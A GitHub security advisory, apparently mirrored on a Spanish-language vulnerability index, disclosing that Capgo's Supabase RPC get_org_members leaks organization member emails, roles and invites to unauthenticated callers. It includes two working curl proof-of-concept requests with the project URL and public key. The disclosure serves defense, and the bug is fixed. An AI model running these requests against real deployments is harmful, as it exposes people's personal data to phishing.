GHSA-X34H-GC65-F6G4
Unauthenticated org member email disclosure via Supabase RPC get_org_members callable with public sb_publishable_* key
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-X34H-GC65-F6G4 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The Supabase RPC public.get_org_members(user_id uuid, guild_id uuid) is exposed to the anon role and can be invoked using only the public sb_publishable_* key. It returns the full organization member list, including email addresses, user IDs, roles, and pending invitations. The user_id parameter is ignored (PERFORM user_id;), so callers can supply arbitrary values. Any attacker who knows/obtains an org UUID (guild_id) can dump member PII.
### Details
Affected endpoint
- POST https://xvwzpoazmxkqosrdewyv.supabase.co/rest/v1/rpc/get_org_members
Returned fields include
- email (PII)
- uid (user UUID)
- role (e.g., super_admin, admin, read, upload, invite_read)
- is_tmp (pending invitations from tmp_users)
- image_url
Incriminated code
supabase/migrations/20260102120000_fix_get_org_members_include_tmp_users.sql
Key properties:
- SECURITY DEFINER
- PERFORM user_id; (no auth/permission check)
- returns users.email from public.users and invite emails from public.tmp_users for guild_id
This indicates missing access control: the function does not validate auth.uid() and relies only on caller-supplied guild_id.
### PoC
PoC 1 - call using only public sb_publishable_* key (anon)
SUPA="https://xvwzpoazmxkqosrdewyv.supabase.co"
ANON="sb_publishable_T8kEcJpf9PbGYLkArVCLHA_lAE0Hb0T"
GUILD_ID="redacted"
FAKE_USER_ID="$(python3 - <<'PY'
import uuid
print(uuid.uuid4())
PY
)"
curl -sk --http2 -i -X POST "$SUPA/rest/v1/rpc/get_org_members" \
-H "apikey: $ANON" \
-H "authorization: Bearer $ANON" \
-H "content-type: application/json" \
--data "{\"user_id\":\"$FAKE_USER_ID\",\"guild_id\":\"$GUILD_ID\"}"Observed
- HTTP/2 200
- JSON array includes objects with email, role, is_tmp, etc.
PoC 2 - prove user_id is ignored
SUPA="https://xvwzpoazmxkqosrdewyv.supabase.co"
ANON="sb_publishable_T8kEcJpf9PbGYLkArVCLHA_lAE0Hb0T"
GUILD_ID="redacted"
ZERO="00000000-0000-0000-0000-000000000000"
curl -sk --http2 -i -X POST "$SUPA/rest/v1/rpc/get_org_members" \
-H "apikey: $ANON" \
-H "authorization: Bearer $ANON" \
-H "content-type: application/json" \
--data "{\"user_id\":\"$ZERO\",\"guild_id\":\"$GUILD_ID\"}"Observed
- Same HTTP/2 200 and member list returned, confirming user_id is not used for access control.
Impact
- Any Capgo organization: attackers can enumerate/dump member emails/roles if they can obtain the org UUID.
- Includes pending invites (tmp_users) within the last 7 days.
Why it matters
- PII exposure (emails) enables targeted phishing/social engineering.
- Reveals org structure and privileged accounts (admins/super_admins).
- Cross-tenant data disclosure (not limited to attacker’s org).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmcapgo |
Corregida | 12.128.2 | — | — |
12.128.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Cap-go/capgo.app/security/advisories/GHSA-x34h-gc65-f6g4Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
